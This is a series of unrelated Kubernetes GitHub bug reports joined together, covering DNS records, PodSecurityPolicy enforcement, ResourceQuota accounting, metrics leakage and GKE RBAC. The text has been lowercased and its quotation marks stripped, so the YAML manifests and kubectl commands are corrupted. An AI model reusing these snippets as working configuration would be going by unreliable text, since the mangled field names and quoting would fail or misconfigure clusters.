at http://localhost:8080/apis:\r    \r ...\r {\r       \ name\ : \ rbac.authorization.k8s.io\ ,\r       \ versions\ :  \r         {\r           \ groupversion\ : \ rbac.authorization.k8s.io/v1beta1\ ,\r           \ version\ : \ v1beta1\ \r         },\r         {\r           \ groupversion\ : \ rbac.authorization.k8s.io/v1alpha1\ ,\r           \ version\ : \ v1alpha1\ \r         }\r        ,\r       \ preferredversion\ : {\r         \ groupversion\ : \ rbac.authorization.k8s.io/v1beta1\ ,\r         \ version\ : \ v1beta1\ \r       },\r       \ serveraddressbyclientcidrs\ : null\r     },\r    \r \r note that  rbac.authorization.k8s.io/v1alpha1  is in the list.\r \r but  http://localhost:8080/apis/authorization.k8s.io/v1alpha1  returns 404.\r http://localhost:8080/apis/authorization.k8s.io/v1beta1 works fine.\r \r cc @deads2k @lavalamp @sttts perhaps it's related to the recent change in aggregator.\r \r @kubernetes/sig-api-machinery-bugs

for users that statically create local volumes, instead of using the provisioner, there needs to be an in-tree deletion routine so that deleting the pv will not fail.  it can just be simple and remove the contents.  for more advanced scrubbing options, the external provisioner should be used instead.\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r \r   what happened  :\r after the pod is scheduled to a node and no memory is found, after manual cleanup of the node's disk space, the rc is re-scheduled to another node, and the pod of rc scheduled to the first node has sent the deletion signal but the deletion failed and always exist！\r   what you expected to happen  :\r not always existed !\r \r the pod information：\r ! image  https://user-images.githubusercontent.com/25783555/28805177-bc24708c-769a-11e7-9ccf-736c6552fc62.png \r \r describe the pod\r ! image  https://user-images.githubusercontent.com/25783555/28805194-dc87d6d4-769a-11e7-9153-5e74aadac6b7.png \r \r container information\r ! image  https://user-images.githubusercontent.com/25783555/28805315-b6a0bf84-769b-11e7-8e22-043022730ee9.png \r \r docker logs \r ! image  https://user-images.githubusercontent.com/25783555/28805366-18980760-769c-11e7-8561-dbac62820611.png \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :v1.5.1\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :newstart carrier grade server linux\r - kernel  e.g.  uname -a  :linux paas-controller-200-0-0-154 3.10.0-514.21.1.el7.x86_64  1 smp thu jun 29 01:10:55 cst 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

 \r \r   what happened  :\r \r after upgrading from kubernetes 1.6.4 to 1.7.4 dns records for statefulset pods were not resolving. upon further investigation i noted the following in the kubedns container logs\r \r    \r i0905 18:06:15.676590       1 dns.go:495  added srv record &{host:3761613931666562.fetchdb.dev.svc.cluster.local. port:5432 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0905 18:06:15.676617       1 dns.go:495  added srv record &{host:3231366438663735.fetchdb.dev.svc.cluster.local. port:5432 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r    \r \r as you can see, it is creating records 3231366438663735.fetchdb.dev.svc.cluster.local. the controlling service is fetchdb, the namespace is dev and the statefulset is fetchdb. therefore the record should be fetchdb- .fetchdb.dev.svc.cluster.local. \r \r these dns entries were present and correct prior to upgrading. to resolve the problem i simply uninstalled the statefulset and re-installed. the dns records were then correctly created. \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i am running coreos so my upgrade procedure was to update the master servers first, by simply editing the manifests and setting the hyperkube image tag accordingly. \r \r after the master servers were completed i moved onto the worker nodes. \r \r   environment  :\r \r deployed within aws.\r \r kubernetes version:\r \r    \r › kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:48:59z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4+coreos.0\ , gitcommit:\ 4bb697e04f7c356347aee6ffaa91640b428976d5\ , gittreestate:\ clean\ , builddate:\ 2017-08-22t08:43:47z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r operating system release:\r    \r core@ip-10-68-0-11 ~ $ cat /etc/os-release\r name=\ container linux by coreos\ \r id=coreos\r version=1465.6.0\r version_id=1465.6.0\r build_id=2017-08-16-0012\r pretty_name=\ container linux by coreos 1465.6.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r \r kernel:\r    \r core@ip-10-68-0-11 ~ $ uname -a\r linux ip-10-68-0-11.us-west-2.compute.internal 4.12.7-coreos  1 smp tue aug 15 23:54:56 utc 2017 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux\r    \r \r here is the manifest for the dns add-on\r \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   labels:\r     addonmanager.kubernetes.io/mode: reconcile\r     k8s-app: kube-dns\r     kubernetes.io/cluster-service: \ true\ \r   name: kube-dns\r   namespace: kube-system\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       k8s-app: kube-dns\r   strategy:\r     rollingupdate:\r       maxsurge: 10%\r       maxunavailable: 0\r     type: rollingupdate\r   template:\r     metadata:\r       annotations:\r         scheduler.alpha.kubernetes.io/critical-pod: \ \ \r       creationtimestamp: null\r       labels:\r         k8s-app: kube-dns\r     spec:\r       containers:\r       - args:\r         - --domain=cluster.local.\r         - --dns-port=10053\r         - --config-dir=/kube-dns-config\r         - --v=2\r         env:\r         - name: prometheus_port\r           value: \ 10055\ \r         image: gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.2\r         imagepullpolicy: ifnotpresent\r         livenessprobe:\r           failurethreshold: 5\r           httpget:\r             path: /healthcheck/kubedns\r             port: 10054\r             scheme: http\r           initialdelayseconds: 60\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 5\r         name: kubedns\r         ports:\r         - containerport: 10053\r           name: dns-local\r           protocol: udp\r         - containerport: 10053\r           name: dns-tcp-local\r           protocol: tcp\r         - containerport: 10055\r           name: metrics\r           protocol: tcp\r         readinessprobe:\r           failurethreshold: 3\r           httpget:\r             path: /readiness\r             port: 8081\r             scheme: http\r           initialdelayseconds: 3\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 5\r         resources:\r           limits:\r             memory: 170mi\r           requests:\r             cpu: 100m\r             memory: 70mi\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /kube-dns-config\r           name: kube-dns-config\r       - args:\r         - -v=2\r         - -logtostderr\r         - -configdir=/etc/k8s/dns/dnsmasq-nanny\r         - -restartdnsmasq=true\r         - --\r         - -k\r         - --cache-size=1000\r         - --log-facility=-\r         - --server=/cluster.local/127.0.0.1 10053\r         - --server=/in-addr.arpa/127.0.0.1 10053\r         - --server=/ip6.arpa/127.0.0.1 10053\r         image: gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64:1.14.2\r         imagepullpolicy: ifnotpresent\r         livenessprobe:\r           failurethreshold: 5\r           httpget:\r             path: /healthcheck/dnsmasq\r             port: 10054\r             scheme: http\r           initialdelayseconds: 60\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 5\r         name: dnsmasq\r         ports:\r         - containerport: 53\r           name: dns\r           protocol: udp\r         - containerport: 53\r           name: dns-tcp\r           protocol: tcp\r         resources:\r           requests:\r             cpu: 150m\r             memory: 20mi\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /etc/k8s/dns/dnsmasq-nanny\r           name: kube-dns-config\r       - args:\r         - --v=2\r         - --logtostderr\r         - --probe=kubedns,127.0.0.1:10053,kubernetes.default.svc.cluster.local,5,a\r         - --probe=dnsmasq,127.0.0.1:53,kubernetes.default.svc.cluster.local,5,a\r         image: gcr.io/google_containers/k8s-dns-sidecar-amd64:1.14.2\r         imagepullpolicy: ifnotpresent\r         livenessprobe:\r           failurethreshold: 5\r           httpget:\r             path: /metrics\r             port: 10054\r             scheme: http\r           initialdelayseconds: 60\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 5\r         name: sidecar\r         ports:\r         - containerport: 10054\r           name: metrics\r           protocol: tcp\r         resources:\r           requests:\r             cpu: 10m\r             memory: 20mi\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r       dnspolicy: default\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       serviceaccount: kube-dns\r       serviceaccountname: kube-dns\r       terminationgraceperiodseconds: 30\r       tolerations:\r       - key: criticaladdonsonly\r         operator: exists\r       volumes:\r       - configmap:\r           defaultmode: 420\r           name: kube-dns\r           optional: true\r         name: kube-dns-config\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r first off: psp in general works for me. if i only create the hereafter mentioned restricted policy and nothin else, i cannot create privileged pods etc.. that way i think i can validate my general apiserver settings etc are working properly in regard to psp.\r \r here's the problem:\r \r i created two podsecuritypolicies as per the guide  here: https://github.com/kubernetes/examples/blob/master/staging/podsecuritypolicy/rbac/readme.md :\r    yaml\r apiversion: extensions/v1beta1\r kind: podsecuritypolicy\r metadata:\r   name: privileged\r spec:\r   fsgroup:\r     rule: runasany\r   privileged: true\r   runasuser:\r     rule: runasany\r   selinux:\r     rule: runasany\r   supplementalgroups:\r     rule: runasany\r   volumes:\r   - ' '\r   allowedcapabilities:\r   - ' '\r   hostpid: true\r   hostipc: true\r   hostnetwork: true\r   hostports:\r   - min: 1\r     max: 65536\r ---\r apiversion: extensions/v1beta1\r kind: podsecuritypolicy\r metadata:\r   name: restricted\r spec:\r   privileged: false\r   fsgroup:\r     rule: runasany\r   runasuser:\r     rule: runasany\r   selinux:\r     rule: runasany\r   supplementalgroups:\r     rule: runasany\r   volumes:\r   -  'rbd'\r   -  'nfs'\r   -  'configmap'\r   -  'downwardapi'\r   -  'emptydir'\r   -  'persistentvolumeclaim'\r   -  'secret'\r   -  'projected'\r   hostpid: false\r   hostipc: false\r   hostnetwork: false\r     \r i then created two clusterroles:\r \r    yaml\r   privilegedpsp grants access to use the privileged\r   psp.\r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: clusterrole\r metadata:\r   name: privileged-psp-user\r rules:\r - apigroups:\r   - extensions\r   resources:\r   - podsecuritypolicies\r   resourcenames:\r   - privileged\r   verbs:\r   - use\r ---\r   privilegedpsp grants access to use the privileged\r   psp.\r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: clusterrole\r metadata:\r   name: restricted-psp-user\r rules:\r - apigroups:\r   - extensions\r   resources:\r   - podsecuritypolicies\r   resourcenames:\r   - restricted\r   verbs:\r   - use\r    \r and then enabled my kubelets to run static pods with the privileged psp and tried to restrict all casual users to the restricted psp via clusterrolebindings:\r \r    yaml\r   allow all nodes' kubelets to use the priviliged psp\r   required to enable api pods etc to be started by kubelet\r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: clusterrolebinding\r metadata:\r   name: kubelet-priv-psp\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: privileged-psp-user\r subjects:\r   - kind: \ group\ \r     name: \ system:nodes\ \r ---\r   restrictedpsp grants the restrictedpsp role to\r   the groups restricted\r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: clusterrolebinding\r metadata:\r     name: restricted-psp-users\r subjects:\r - kind: group\r   name: system:authenticated\r   apigroup: rbac.authorization.k8s.io\r roleref:\r    apigroup: rbac.authorization.k8s.io\r    kind: clusterrole\r    name: restricted-psp-user\r    \r my kubelets can start static-pods just fine!\r \r when trying the creation of a privileged pod with a casual user though, kubernetes surpisingly allows it:\r    shell\r $: kubectl auth can-i use psp/privileged\r no\r $: kubectl auth can-i use psp/restricted\r yes\r $: cat pod_priv.yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: nginx\r   labels:\r     name: nginx\r spec:\r   containers:\r   - name: nginx\r     image: nginx\r     ports:\r     - containerport: 80\r     securitycontext:\r       privileged: true\r \r $: kubectl apply -f pod_priv.yaml\r pod \ nginx\  created\r $: kubectl get po\r name      ready     status    restarts   age\r nginx     1/1       running   0          23s\r    \r \r \r   what you expected to happen  :\r    shell\r $: kubectl auth can-i use psp/privileged\r no\r $: kubectl auth can-i use psp/restricted\r yes\r $: cat pod_priv.yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: nginx\r   labels:\r     name: nginx\r spec:\r   containers:\r   - name: nginx\r     image: nginx\r     ports:\r     - containerport: 80\r     securitycontext:\r       privileged: true\r \r $: kubectl apply -f pod_priv.yaml\r error from server  forbidden : error when creating \ pod_priv.yaml\ : pods \ nginx\  is forbidden: unable to validate against any pod security policy:  spec.containers 0 .sec\r uritycontext.privileged: invalid value: true: privileged containers are not allowed \r $: kubectl get po\r no resources found.\r    \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r create the above mentioned ressources in an rbac and psp activated cluster with k8s 1.7.9 and try to create the privileged pod.\r \r   anything else we need to know?  :\r dont' think so\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.9\ , gitcommit:\ 19fe91923d584c30bd6db5c5a21e9f0d5f742de8\ , gittreestate:\ clean\ , builddate:\ 2017-10-19t\r 17:09:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.9+coreos.0\ , gitcommit:\ 2ded8a1912d014561208d882cfcc12dfa5374f22\ , gittreestate:\ clean\ , builddate:\ 20\r 17-10-24t13:07:42z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: on-prem\r - os  e.g. from /etc/os-release : ubuntu 16 server lts & coreos 1520.7.0  laybug \r - kernel  e.g.  uname -a  : 4.10.0-19 & 4.13.9-coreos\r - install tools: none\r - others: podsecurityadmission controller is activated\r \r 

is this a bug report or feature request?  :\r \r  \r   what happened  :   /metrics  endpoint of different k8s components expose prometheus metrics that are not for them. for example,  controller-manager  exposes  apiserver  metrics:\r \r    \r   help serviceaccount_work_duration how long processing an item from workqueueserviceaccount takes.\r   type serviceaccount_work_duration summary\r serviceaccount_work_duration{quantile=\ 0.5\ } nan\r   help ssh_tunnel_open_count counter of ssh tunnel total open attempts \r   type ssh_tunnel_open_count counter\r ssh_tunnel_open_count 0 <= kube-apiserver metric\r   help ssh_tunnel_open_fail_count counter of ssh tunnel failed open attempts\r   type ssh_tunnel_open_fail_count counter\r ssh_tunnel_open_fail_count 0 <= kube-apiserver metric\r    \r \r or  kubelet :\r \r    \r   help cloudprovider_aws_api_request_duration_seconds latency of aws api call\r   type cloudprovider_aws_api_request_duration_seconds histogram\r cloudprovider_aws_api_request_duration_seconds_bucket{request=\ describe_instance\ ,le=\ 0.005\ } 0\r .......\r   help etcd_helper_cache_entry_count counter of etcd helper cache entries. this can be different from etcd_helper_cache_miss_count because two concurrent threads can miss the cache and generate the same entry twice.\r   type etcd_helper_cache_entry_count counter\r etcd_helper_cache_entry_count 0 <= kube-apiserver metric\r   help etcd_helper_cache_hit_count counter of etcd helper cache hits.\r   type etcd_helper_cache_hit_count counter\r etcd_helper_cache_hit_count 0 <= kube-apiserver metric\r   help etcd_helper_cache_miss_count counter of etcd helper cache miss.\r   type etcd_helper_cache_miss_count counter\r etcd_helper_cache_miss_count 0 <= kube-apiserver metric\r   help etcd_request_cache_add_latencies_summary latency in microseconds of adding an object to etcd cache\r   type etcd_request_cache_add_latencies_summary summary\r .....\r etcd_request_cache_add_latencies_summary_count 0 <= kube-apiserver metric\r   help etcd_request_cache_get_latencies_summary latency in microseconds of getting an object from etcd cache\r   type etcd_request_cache_get_latencies_summary summary\r .....\r etcd_request_cache_get_latencies_summary_count 0 <= kube-apiserver metric\r    \r \r   what you expected to happen  : prometheus metrics only for  kubelet  to appear on kubelet's  /metrics  endpoint.\r \r   how to reproduce it  as minimally and precisely as possible   : access the  /metrics  endpoint of all kubernetes components\r \r   anything else we need to know?  : this problem comes from usage of  init  functions in different packages that automatically register prometheus metrics. just importing that package or some package that depends on it can cause those metrics to appear in unexpected places.\r \r in the list bellow you can find the different packages that have init functions and affected binaries:\r \r -     k8s.io/kubernetes/staging/src/k8s.io/apiserver/pkg/storage/etcd   63009 \r       - cloud-controller-manager\r       - hyperkube\r       - kube-apiserver\r       - kube-controller-manager\r       - kube-proxy\r       - kube-scheduler\r -     k8s.io/kubernetes/staging/src/k8s.io/apiserver/pkg/endpoints/metrics   63009 \r       - cloud-controller-manager\r       - hyperkube\r       - kube-apiserver\r       - kube-controller-manager\r       - kube-proxy\r       - kube-scheduler\r -     k8s.io/kubernetes/staging/src/k8s.io/apiserver/pkg/endpoints/filters\r       - cloud-controller-manager\r       - hyperkube\r       - kube-apiserver\r       - kube-controller-manager\r -     k8s.io/kubernetes/staging/src/k8s.io/apiserver/pkg/authentication/request/x509\r       - cloud-controller-manager\r       - hyperkube\r       - kube-apiserver\r       - kube-controller-manager\r       - kubelet\r -     k8s.io/kubernetes/staging/src/k8s.io/apiserver/pkg/audit\r       - cloud-controller-manager\r       - hyperkube\r       - kube-apiserver\r       - kube-controller-manager\r       - kube-proxy\r       - kube-scheduler\r -     k8s.io/kubernetes/pkg/volume/util\r       - cloud-controller-manager\r       - hyperkube\r       - kube-apiserver\r       - kube-controller-manager\r       - kube-proxy\r       - kube-scheduler\r       - kubectl\r       - kubelet\r -     k8s.io/kubernetes/pkg/version/prometheus\r       - cloud-controller-manager\r       - hyperkube\r       - kube-apiserver\r       - kube-controller-manager\r       - kube-proxy\r       - kube-scheduler\r       - kubelet\r -     k8s.io/kubernetes/pkg/util/reflector/prometheus\r       - hyperkube\r       - kube-apiserver\r       - kube-controller-manager\r -     k8s.io/kubernetes/pkg/ssh\r       - hyperkube\r       - kube-apiserver\r -     k8s.io/kubernetes/pkg/cloudprovider/providers/gce\r       - cloud-controller-manager\r       - hyperkube\r       - kube-apiserver\r       - kube-controller-manager\r       - kubelet\r -     k8s.io/kubernetes/pkg/client/metrics/prometheus\r       - cloud-controller-manager\r       - hyperkube\r       - kube-apiserver\r       - kube-controller-manager\r       - kube-proxy\r       - kube-scheduler\r       - kubelet\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r     \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-27t00:13:02z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:   n/a  \r - os  e.g. from /etc/os-release :   n/a  \r - kernel  e.g.  uname -a  :   n/a  \r - install tools:   n/a  \r - others:   n/a  \r \r 

\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r i create a namespace and define resourceqouta for this namespace. then i repeat: \r - create pod which requests less memory than defined in resourceqouta for that namespace\r - delete this pod\r \r finally, i was unable to create the pod, because the quota was exceeded.\r \r   what you expected to happen  :\r i am able to create the pod and resourcequota doesn't take into account removed pods.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r kubectl create namespace test\r \r cat res-quota.yaml\r apiversion: v1\r kind: resourcequota\r metadata:\r   name: mem-demo\r spec:\r   hard:\r     memory: 400mi\r \r kubectl create -f res-quota.yaml -n test\r \r cat nginx.yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: my-pod\r spec:\r   containers:\r   - name: nginx\r     image: nginx:1.7.9\r     ports:\r     - containerport: 80\r     resources:\r       limits:\r         memory: 50mi\r       requests:\r         memory: 50mi\r \r  kubectl create -f nginx.yaml -n test\r  kubectl describe resourcequota -n test\r name:       mem-demo\r namespace:  test\r resource    used  hard\r --------    ----  ----\r memory      50mi  400mi\r \r kubectl delete -f nginx.yaml -n test\r \r kubectl describe resourcequota -n test\r name:       mem-demo\r namespace:  test\r resource    used  hard\r --------    ----  ----\r memory      50mi  400mi\r \r    \r \r repeat creating and removing pod and finally i get:\r    \r kubectl create -f nginx.yaml -n test\r error from server  forbidden : error when creating \ nginx.yaml\ : pods \ my-pod\  is forbidden: exceeded quota: mem-demo, requested: memory=50mi, used: memory=400mi, limited: memory=400mi\r    \r even though no pods were in the namespace:\r    \r kc get pods -n test\r no resources found.\r \r kc describe resourcequota -n test\r name:       mem-demo\r namespace:  test\r resource    used   hard\r --------    ----   ----\r memory      400mi  400mi\r    \r \r it looks like resourcequota do not update used memory when pods are removed.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t21:12:46z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2018-01-26t19:04:38z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    minikube version: v0.26.1   \r - os  e.g. from /etc/os-release : macos highsierra 10.13.2\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r on a single node only, dns is almost entirely failing to work\r \r   what you expected to happen  :\r \r dns to always work\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r   while true; do ping -w 2 dl-cdn.alpinelinux.org -c 1; sleep 3; done\r ping: bad address 'dl-cdn.alpinelinux.org'\r ping: bad address 'dl-cdn.alpinelinux.org'\r ping: bad address 'dl-cdn.alpinelinux.org'\r ping dl-cdn.alpinelinux.org  151.101.52.249 : 56 data bytes\r \r --- dl-cdn.alpinelinux.org ping statistics ---\r 1 packets transmitted, 0 packets received, 100% packet loss\r ping: bad address 'dl-cdn.alpinelinux.org'\r ping: bad address 'dl-cdn.alpinelinux.org'\r ping: bad address 'dl-cdn.alpinelinux.org'\r ping: bad address 'dl-cdn.alpinelinux.org'\r ping: bad address 'dl-cdn.alpinelinux.org'\r    \r \r so in that test dns resolution succeeded one time out of 9.  this seems to be worse since i tried earlier where it was more like 50/50 . on all other nodes, dns resolution seems to be working fine. \r \r this problem is the same whether we are looking up cluster addresses or external addresses. \r \r dns is gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.10 \r \r testing the network seems to be fine. \r \r if i do curl http://www.google.com/ repeatedly, then i get some results and some dns failures\r if i do curl http://216.58.199.68/ repeatedly, then i get the expected 301 moved response\r \r   anything else we need to know?  :\r    \r $ kubectl get nodes -o wide\r name                                          status                     roles     age       version   external-ip   os-image                       kernel-version   container-runtime\r ip-172-18-12-137.us-west-2.compute.internal   ready                      master    2d        v1.9.7    <none>        debian gnu/linux 8  jessie     4.4.121-k8s      docker://17.3.2\r ip-172-18-12-222.us-west-2.compute.internal   ready                      node      2d        v1.9.7    <none>        debian gnu/linux 9  stretch    4.9.0-6-amd64    docker://17.3.2\r ip-172-18-13-173.us-west-2.compute.internal   ready                      master    4d        v1.9.7    <none>        debian gnu/linux 8  jessie     4.4.121-k8s      docker://17.3.2\r ip-172-18-13-186.us-west-2.compute.internal   ready,schedulingdisabled   node      2d        v1.9.7    <none>        debian gnu/linux 9  stretch    4.9.0-6-amd64    docker://17.3.2\r ip-172-18-13-187.us-west-2.compute.internal   ready                      node      5h        v1.9.7    <none>        debian gnu/linux 9  stretch    4.9.0-6-amd64    docker://17.3.2\r ip-172-18-13-242.us-west-2.compute.internal   ready                      node      1h        v1.9.7    <none>        debian gnu/linux 9  stretch    4.9.0-6-amd64    docker://17.3.2\r ip-172-18-13-44.us-west-2.compute.internal    ready,schedulingdisabled   node      5h        v1.9.7    <none>        debian gnu/linux 9  stretch    4.9.0-6-amd64    docker://17.3.2\r ip-172-18-14-15.us-west-2.compute.internal    ready                      master    4d        v1.9.7    <none>        debian gnu/linux 8  jessie     4.4.121-k8s      docker://17.3.2\r ip-172-18-14-7.us-west-2.compute.internal     ready                      node      9d        v1.9.7    <none>        debian gnu/linux 9  stretch    4.9.0-6-amd64    docker://17.3.2\r    \r \r the node is ip-172-18-13-186.us-west-2.compute.internal, it's cordoned so that we can keep troubleshooting but avoid unexpected issues. pods left remaining on the node still exhibit the issue.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r   client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t15:22:13z\ , goversion:\ go1.9.6\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-18t23:58:35z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r    aws m5.large\r - os  e.g. from /etc/os-release :\r      \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :\r    linux ip-172-18-13-186 4.9.0-6-amd64  1 smp debian 4.9.88-1+deb9u1  2018-05-07  x86_64 gnu/linux\r \r - install tools: kops\r - others:\r

hi all,\r \r few days ago, i am facing a strange issue which is \ a pod can not reach another pod running in the same minion/host through servide clusterip whereas they can reach each other skipping going through service clusterip\ \r \r i am running kubernetes 1.9.6 on top of openstack  ubuntu 16.04 hosts  with:\r - cni 0.7.0\r - cri-containerd 1.0.0-beta\r - flannel 0.9.1\r - etcd 3.0.13\r \r the other scenarios were working fine. even between pods running in different hosts, they can reach each other through service clusterip.\r \r what is going on here !!! any support will be more than welcome\r \r

what happened/how to reproduce it  as minimally and precisely as possible   :\r what i want is different team from gsuite or by email group  \r access different namespace  and limit to namespace only \r \r in gsuite\r 1. i am using company domain and email from   gsuite  \r 2. i created group named \ demogroup\  and its address\ demogroup@example.com\   and assign user \ demo@example.com\  into \ demogroup@example.com\ \r 3. checked user can success login , and check groups is correctly show up in https://groups.google.com/a/example.com\r \r in gcp - iam \r 1. create role named   minimum role for kubernetes  \r assign following permission \r - container.apiservices.get\r - container.apiservices.list\r - container.clusters.get\r - container.clusters.getcredentials \r \r 2. add group \ demogroup@example.com\  to iam in gcp\r \r 3. check iam correct shows up \ demogroup@example.com\  and recognize it is a group group icon show up  \r \r in gke\r 1. i create namespace \ dev\ \r 2. i create rolebinding with follow cmd\r > kubectl create rolebinding test-group \\\r > --clusterrole=edit \\\r > --group=demogroup@example.com \\\r > --namespace=dev\r \r result : \r \r > error from server  forbidden : pods is forbidden: user \ demo@example.com\  cannot list pods in the namespace \ dev\ : required \ container.pods.list\  permission.\r \r 3. however when i change directly to user rather group\r > kubectl create rolebinding test-group\\\r > --clusterrole=edit \\\r > --user=demo@example.com \\\r > --namespace=dev\r \r result : \r demo@example.com can have right from clusterrole edit\r \r   what you expected to happen  :\r allow to access   dev   namespace , at least can get pod \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r > client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-18t11:37:06z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r > server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.7-gke.1\ , gitcommit:\ 7221ffe8776f399448d61b4dc9edb5c69232aece\ , gittreestate:\ clean\ , builddate:\ 2018-08-29t23:11:12z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: gke 1.10.7-gke.1\r \r anything i am missing ?\r \r  

